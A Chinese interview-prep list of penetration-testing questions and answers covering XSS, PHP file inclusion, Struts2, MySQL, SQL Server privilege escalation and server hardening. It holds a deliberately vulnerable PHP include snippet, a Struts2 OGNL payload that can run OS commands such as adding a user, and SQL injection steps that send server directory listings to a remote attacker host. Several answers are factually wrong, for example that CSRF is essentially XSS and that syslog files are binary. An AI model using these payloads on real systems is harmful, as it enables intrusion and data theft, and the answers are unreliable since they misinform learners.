【网络安全】渗透工程师面试题总结大全
前言
总结了一些渗透面试题,大家看看吧!只作为参考
在这里插入图片描述
1.如果给你一个 XSS 盲打漏洞,但是返回来的信息显示,他的后台是在内网,并且只能使用内网访问,那么你怎么利用这个 XSS?
必须是 self xss + csrf +ssrf 到 getshel
2.php 的 LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。
如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执
行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。
常见包含函数有:include()、require()
区别:
include 是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,
然后继续往下执行
require 是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,
并且终止脚本的运行
<?php
include($_GET['f']);
?>
3.CSRF 漏洞的本质是什么?
本质就是 xss
4.你都了解哪些 java 框架?
spring 和 struts2 框架
5.ibats 的参数化查询能不能有效的控制 sql 注入?有没有危险的方法可以造成 sql 注入?
SQL 注入主要的是因为文本框的内容和 SQL 连接以后会改变 SQL 的语义,例如:文本框包含单引号什么的
参数化查询就可以将这些内容独立作为参数,本身的语句不会改变。
【面试题查看】
在这里插入图片描述【面试题查看】
6.说说两次 struts2 漏洞的原理?
Struts2 的核心是使用的 webwork
框架,处理 action 时通过调用底层的
getter/setter 方法来处理 http 的参数,它将每个 http 参数声明为一个 ONGL(这里是 ONGL 的介绍)语句。
当我们提交一个 http 参数:
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL 将它转换为:
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过 ParametersInterceptor(参数过滤器)来执行的,使用用户提供的 HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了 Java 的 unicode 字符串表示\u0023,攻击者就可以绕过保护,修改保护 Java 方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(a
aa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u
003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&
(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
me()))=1
转义后是这样:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#c
ontext['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=ne
w%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Ru
ntime@getRuntime()))=1
OGNL 处理时最终的结果就是
java.lang.Runtime.getRuntime().exit(1); //关闭程序,即将 web 程序关闭
类似的可以执行
java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增
加操作系统用户,在有权限的情况下能成功(在 URL 中用%20 替换空格,%2F 替换
/)
只要有权限就可以执行任何 DOS 命令
7.ongl 在这个 payload 中起了什么作用?
Ognl 表达式语言,Struts 标签默认支持的表达式语言,必须配置 Struts 标签用,
不能离开 Struts 标签直接使用,就是说 Ognl 必须在 Struts 中使用
8.\u0023 是什么字符的 16 进制编码?为什么在 payload 中要用他?
,在 S2-005 中可通过\u0023 绕过过滤执行
9.xss filter 在 java 程序的哪里设置?
在 web.xml 里面配置
10.说下 java 的类反射在安全上可能存在哪些问题?
可能会导致 JAVA 反序化漏洞
11.tomcat 要做哪些安全加固?
升级到最新稳定版
从监听端口上加固
仅在本地监听
如果 Tomcat 不需要对外提供服务,则监听在本地回环,前面放 Nginx。
如果需要对外提供访问,比如一个 Nginx 挂多个 Tomcat,那么在服务器上用iptables 只允许负载均衡器的 IP 来访问
关闭 8009 端口
现在我们一般不用 Apache 通过 AJP 协议来调用 Tomcat 了,所以 AJP 端口可
以关闭。
8005 端口
查看端口占用情况
自定义错误页面,隐藏 Tomcat 信息
编辑 conf/web.xml,在标签上添加以下内容:
禁用 Tomcat 管理页面
删除 webapps 目录下 Tomcat 原有的所有内容
删除 conf/Catalina/localhost/下的 host-manager.xml 和 manager.xml 这两
个文件
用普通用户启动 Tomcat
禁止 Tomcat 列目录
如果 tomcat 重启的话,webapps 下,你删除的后台会不会又回来?
你只是删除了后台,并没有删除 webaspps 下 war 包
12.mysql 数据库默认有哪些库?说出库的名字?
1.mysql 库,存储用户等信息
2.information_schema,存储表、锁等性能信息
3.test,mysql 自建测试库
4.performance_schema,互斥锁等信息(5.6 之前需要手动开启,从 5.6 开始
默认开启)
13.mysql 的用户名密码是存放在那张表里面?mysql 密码采用哪种加密方式?
mysql.user 表
MySQL 4.1 版本之前是 MySQL323 加密,MySQL 4.1 和之后的版本都是
MySQLSHA1 加密
MYSQL323 加密中生成的是 16 位字符串,而在 MySQLSHA1 中生存的是 41位字符串,其中是不加入实际的密码运算中,通过观察在很多用户中都携带了"",在实际破解过程中去掉"*",也就是说 MySQLSHA1 加密的密码的实际位数是 40 位。
14.mysql 表权限里面,除了增删改查,文件读写,还有哪些权限?
排序,查询,索引等
15.mysql 安全要如何做?
Mysql 账户权限安全
Mysql 数据的网络安全配置
密码策略安全
Mysql 日志
Mysql 数据库服务所在主机安全配置
部署 SQL 注入检测、防御模块
mysqld 安全相关启动选项
mysql 备份策略
16.sqlserver public 权限要如何提权?
注入点执行
aaa.com x.asp?id=123;create table %23%23dhtemq (list int not null
identity (1,1), dirtree nvarchar(500),num1 nvarchar(500),num2
nvarchar(500))
注入点执行
aaa.com x.asp?id=123;insert into %23%23dhtemq(dirtree,num1,num2)
exec master.dbo.xp_dirtree [d:/] ,1,1;--
注入点执行
aaa.com x.asp?id=123;insert into OPENROWSET
('sqloledb','server=xx.xx.xx.xx,1433;Initial
Catalog=master;uid=sa;pwd=woshinidie','select dirtree,num1,num2
from dhtemq') select dirtree,num1,num2 from ##dhtemq
xx.xx.xx.xx 执行
select * from dhtemq
--建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表
#-----为本地临时表
##----为全局临时表
create table ##nonamed(
dir ntext,
num int
)
--调用存储过程把执行回来的数据存到临时表里面
insert ##nonamed execute master..xp_dirtree 'c:/',1
--然后采用 openrowset 函数把临时表的数据导到本地 MSSQL 的 dirtree
表里面了
insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select *
from Northwind.dbo.dirtree')
select * from ##nonamed
以上方法,也就是说 public 可以遍历用户服务器的目录
在 NBSI 中,只要把临时表名加前加##就可以了,但要注意 URL 转码,即
写成:%23%23nonamed
就 OK 了!
17.简述 Linux 系统安全加固需要做哪些方面?
1.密码安全策略
2.关闭不必要的端口和服务
3.文件权限的设置等
18.你使用什么工具来判断系统是否存在后门?
pchunter 攻击查看进程和服务
19.Linux 的 Selinux 是什么?如何设置 Selinux?
SELinux 是一种安全子系统,它能控制程序只能访问特定文件
使用 setup 工具进入图形化关闭搜索或者修改/etc/sysconfig/selinux 文件
SELINUX=disabled
防火墙打开使用 service iptables start 或则/etc/init.d/iptables start
20.iptables 工作在 TCP/IP 模型中的哪层?
网络层
21.syslog 里面都有哪些日志?安装软件的日志去哪找?如何查询 ssh 的登录日志?
cd /var/log
less secure
22.syslog 可不可以使用 vi 等工具直接查看?是二进制文件吗?
不能,只能使用 cat 之类的命令攻击查看,属于二进制文件
23.DNS 在渗透中的作用?
通过 DNS 可以查询对应的 IP 主机名,也可以查询出是否存在域传输漏洞
网络安全渗透开发发向是所有安全人所追求的目标,希望这篇文章能帮助到需要的人